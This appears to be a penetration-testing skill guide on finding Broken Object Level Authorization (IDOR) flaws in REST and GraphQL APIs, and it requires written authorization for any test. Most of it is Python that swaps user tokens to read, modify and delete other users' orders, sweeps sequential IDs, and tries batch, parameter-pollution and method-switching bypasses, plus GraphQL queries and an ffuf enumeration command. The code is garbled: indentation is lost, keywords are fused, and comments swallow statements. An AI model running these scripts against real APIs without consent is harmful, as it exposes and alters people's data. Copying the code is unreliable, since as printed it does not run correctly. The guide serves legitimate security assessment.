Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR, OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users to check whether the server enforces per-object authorization. Use when asked to test BOLA or IDOR in an API, verify object-level authorization, or assess an API for access control bypass.
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Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA/IDOR, OWASP API1:2023) by intercepting API calls, identifying object ID parameters (numeric IDs, UUIDs, slugs), and systematically substituting IDs belonging to other users to check whether the server enforces per-object authorization. Use when asked to test BOLA or IDOR in an API, verify object-level authorization, or assess an API for access control bypass.
Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
Validating that API endpoints enforce per-object authorization checks beyond just authentication
Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently
Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.
Prerequisites
Written authorization specifying the target API endpoints and scope of testing
At least two test accounts with different privilege levels and distinct data sets
Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
Authentication tokens (JWT, session cookies, API keys) for each test account
API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
Python 3.10+ with requests library for scripted testing
Autorize Burp extension installed for automated BOLA detection
Workflow
Step 1: API Endpoint Discovery and Object ID Mapping
Enumerate all API endpoints and identify parameters that reference objects:
From OpenAPI/Swagger Specification:
# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool
# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
for method, details in methods.items():
if method in ('get','post','put','patch','delete'):
params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
if params:
print(f'{method.upper()} {path} -> params: {params}')
"
From Burp Suite Traffic:
Browse the application as User A, exercising all features that involve data creation and retrieval
In Burp, go to Target > Site Map and filter for API paths (e.g., /api/v1/, /graphql)
Look for patterns: /api/v1/users/{id}, /api/v1/orders/{order_id}, /api/v1/documents/{doc_uuid}
Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values
Classify Object ID Types:
ID Type
Example
Predictability
BOLA Risk
Sequential Integer
/orders/1042
High - increment/decrement
Critical
UUID v4
/orders/550e8400-e29b-41d4-a716-446655440000
Low - random
Medium (if leaked)
Encoded/Hashed
/orders/base64encodedvalue
Medium - decode and predict
High
Composite
/users/42/orders/1042
High - multiple IDs to swap
Critical
Slug
/profiles/john-doe
Medium - guess usernames
High
Step 2: Baseline Request Capture with Authenticated User
Capture legitimate requests for User A and User B:
import requests
BASE_URL = "https://target-api.example.com/api/v1"# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}
# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}
# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"] # e.g., 1001
user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]] # e.g., [5001, 5002]# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"] # e.g., 1002
user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]] # e.g., [5003, 5004]print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")
Step 3: BOLA Testing - Horizontal Privilege Escalation
Attempt to access User B's objects using User A's authentication:
import json
results = []
# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
"test": "Access other user profile",
"endpoint": f"GET /users/{user_b_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200,
"data_leaked": list(resp.json().keys()) if resp.status_code == 200elseNone
})
# Test 2: Access User B's orders with User A's tokenfor order_id in user_b_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
results.append({
"test": f"Access other user order {order_id}",
"endpoint": f"GET /orders/{order_id}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code == 200
})
# Test 3: Modify User B's order with User A's token
resp = requests.patch(
f"{BASE_URL}/orders/{user_b_order_ids[0]}",
headers=user_a_headers,
json={"status": "cancelled"}
)
results.append({
"test": "Modify other user order",
"endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
"test": "Delete other user order",
"endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
"auth": "User A",
"status": resp.status_code,
"vulnerable": resp.status_code in (200, 204)
})
# Print resultsfor r in results:
status = "VULNERABLE"if r["vulnerable"] else"SECURE"print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")
Step 4: Advanced BOLA Techniques
Test for less obvious BOLA patterns:
# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")
# Technique 2: JSON body object ID override
resp = requests.post(
f"{BASE_URL}/orders/details",
headers=user_a_headers,
json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")
# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
f"{BASE_URL}/orders/batch",
headers=user_a_headers,
json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")
# Technique 4: Numeric ID manipulation for sequential IDsfor offset inrange(-5, 6):
test_id = user_a_order_ids[0] + offset
if test_id notin user_a_order_ids:
resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
if resp.status_code == 200:
owner = resp.json().get("user_id", "unknown")
ifstr(owner) != str(user_a_id):
print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")
# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")
# Technique 6: Method switching - GET may be blocked but PUT allowedfor method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
resp = requests.request(
method,
f"{BASE_URL}/users/{user_b_id}/settings",
headers=user_a_headers,
json={"notifications": False} if method in ('PUT', 'PATCH') elseNone
)
if resp.status_code notin (401, 403, 405):
print(f"Method {method} on other user settings: {resp.status_code}")
Step 5: Automated BOLA Detection with Autorize (Burp Suite)
Configure Autorize for automated detection:
Install Autorize from the BApp Store in Burp Suite Professional
In the Autorize tab, paste User B's authentication cookie or header
Add conditions where response length or status code differs between User A and User B
Mark as "enforced" if User A gets 403/401 for User B's resources
Mark as "bypassed" if User A gets 200 with User B's data
Browse the application as User A; Autorize automatically replays each request with User B's token
Review the Autorize results table:
Green = Authorization enforced (secure)
Red = Authorization bypassed (BOLA vulnerability)
Orange = Needs manual review (ambiguous response)
Step 6: GraphQL BOLA Testing
# Test BOLA in GraphQL queries using node/ID relay pattern# User A queries User B's order by global relay IDquery{
node(id:"T3JkZXI6NTAwMw=="){# Base64 of "Order:5003" (User B's)...on Order {
id
totalAmount
shippingAddress {
street
city
}
items {
productName
quantity
}}}}# Test nested object access through relationshipsquery{
user(id:"1002"){# User B's ID
email
phoneNumber
orders {
edges {
node {
id
totalAmount
paymentMethod {
lastFourDigits
}}}}}}
Key Concepts
Term
Definition
BOLA
Broken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request
IDOR
Insecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks
Horizontal Privilege Escalation
Accessing resources belonging to another user at the same privilege level by manipulating object identifiers
Vertical Privilege Escalation
Accessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints)
Object ID Enumeration
Predicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values)
Autorize
A Burp Suite extension that automates authorization testing by replaying requests with different user tokens
Tools & Systems
Burp Suite Professional: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
OWASP ZAP: Open-source alternative with Access Control Testing add-on for authorization boundary testing
Autorize: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
Postman: API testing platform for crafting and replaying requests with different authentication tokens across collections
ffuf: Web fuzzer that can enumerate object IDs at scale: ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"
Common Scenarios
Scenario: E-Commerce API BOLA Assessment
Context: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).
Approach:
Map all endpoints from the Swagger spec at /api/docs: identify 47 endpoints, 23 of which take object IDs
Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist
Replace User A's object IDs with User B's IDs systematically across all 23 endpoints
Find that GET /api/v1/orders/{id} returns any order regardless of ownership (BOLA on read)
Find that PATCH /api/v1/addresses/{id} allows modifying any user's address (BOLA on write)
Find that GET /api/v1/users/{id}/payment-methods leaks payment card last-four digits for any user
Test batch endpoint POST /api/v1/orders/export - accepts array of order IDs and exports all without ownership check
Verify that DELETE /api/v1/orders/{id} correctly returns 403 for non-owned orders (authorization enforced)
Pitfalls:
Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction
Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters
Not testing nested resource paths where authorization may be checked on the parent but not the child resource
Missing BOLA in bulk/batch endpoints that accept arrays of object IDs
Not considering that different API versions (v1 vs v2) may have different authorization implementations
Output Format
## Finding: Broken Object Level Authorization in Order API
**ID**: API-BOLA-001
**Severity**: High (CVSS 7.5)
**OWASP API**: API1:2023 - Broken Object Level Authorization
**Affected Endpoints**:
- GET /api/v1/orders/{id}
- PATCH /api/v1/addresses/{id}
- GET /api/v1/users/{id}/payment-methods
- POST /api/v1/orders/export
**Description**:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.
**Proof of Concept**:
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)
**Impact**:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers
**Remediation**:
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
5. Implement rate limiting per user to slow enumeration attempts
